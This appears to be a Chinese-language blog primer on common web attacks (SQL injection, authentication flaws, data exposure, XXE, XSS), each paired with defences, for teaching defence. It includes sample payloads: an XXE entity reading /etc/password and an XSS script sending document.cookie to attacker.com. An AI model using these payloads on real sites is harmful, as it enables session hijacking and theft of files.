探讨常见网站攻击方式来帮助您发现安全漏洞。
为什么我们要关注常见攻击方式
最常见的攻击以及最常被利用的漏洞将永远是我们防御的第一道也是最薄弱的一环。
攻击方式
1. 注入
最常见的是SQL Injection
,攻击者可以把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
例如:
SELECT * FROM users WHERE username=’user’ AND password=’pwd’
变成
SELECT * FROM users WHERE username=’Admin’
这允许攻击者以管理员身份登录到您的应用程序,甚至不知道密码。
其他形式包括LDAP Injection
,XPath Injection
,Command Injection
,SMTP Injection
。
防御方法
- 使用白名单方法验证
- 始终仅通过参数化查询和存储过程访问数据库,而不是连接字符串查询
- 最好使用ORM(对象关系映射)库(例如Hibernate,Entity Framework,ActiveRecord等等)
- 通过降低应用程序的数据库权限
2. 认证
大多数应用程序要求用户在使用前登录,通常使用用户名,密码来验证。
这种身份验证系统存在许多的常见漏洞,这些漏洞可以通过多种方式进行利用:dictionary attacks
, automated brute force
, credential stuffing
, session hijacking
等待。
防御方法
- 更改所有的默认密码
- 实施随机密码
- 限制登录错误次数
- 使用安全的会话管理系统,该系统会随机生成长会话标识符并实现安全的会话生命周期。
- 使用
password hash
算法(如Bcrypt,scrypt或Argon2)保护密码。 - 考虑使用
multi-factor
身份验证
3. 重要数据泄露
秘密数据通常需要使用加密和其他加密算法进行保护。除此之外,还要限制攻击者获取敏感信息,包括密码,信用卡,个人信息(PII)以及其他关键业务数据。
一些常见的漏洞包括
- 不加密数据
- 创建一个定制的加密方案,而不是标准的算法和协议
- 使用弱密钥
- 暴露加密密钥
- 不验证TLS证书等
使用适合的加密控件(如存储数据的AES加密和启用流量的HSTS的TLS),使用参数,来保护敏感数据。
4. XML外部连接
通常,应用程序需要接收和处理来自用户的XML文档。有些XML嵌入其他文件的内容。攻击者可能会使用此功能来读取机密数据,访问内部系统,甚至利用拒绝服务(DoS)攻击来关闭应用程序。
比如:
<!ENTITY test SYSTEM “file:///etc/password”>
解决方法
可以通过禁用xml解析器中的DTD和执行外部文件来解决
5. 跨站点脚本(XSS)
使用XSS,攻击者可以修改其他用户在应用程序中看到的网页,无论是窃取密码和信用卡等信息,传播假数据,劫持用户会话,重定向到其他网站,或者在受害者的网站中执行恶意脚本。
原理
在网页或响应中包含不受信任的数据,而没有进行适当的验证或清理时,就容易被攻击。攻击者可以使用HTML或JavaScript片段提交表单,这些片段将直接嵌入页面并由浏览器执行。
比如:
服务器端
response.write(“Good morning, ” + request.getParameter(“Name”));
攻击者可以注入恶意请求
Good Morning,Boss<script>document.location=’http://attacker.com/?cookie=’+document.cookie</script>
当用户的浏览器执行,将其会话cookie发送给攻击者并允许攻击者劫持会话。
解决方法
- 使用安全的编码来针对XSS攻击
- 对数据做编码处理
相关文章
使用git commit --fixup修改之前的提交
使用git commit --amend可以简单的修改前一条记录,但是不能修改前面第 N 次提交记录,这个时候使用git commit --fixup可以修改前面的提交第 N 次记录。
在Windows上使用pg_upgrade升级PostgreSQL
本文将介绍 PostgreSQL 数据库从 9.x 版本升级到 11.x 版本。升级 PostgreSQL 时 可以把新版本的...
如何在中国注册观看奈飞(Netflix)
喜欢追美剧的网友可能听说过“奈飞”(Netflix)这个平台。奈飞到底是什么?在中国能看奈飞吗?看奈飞需要翻墙吗?如何注册奈飞账号?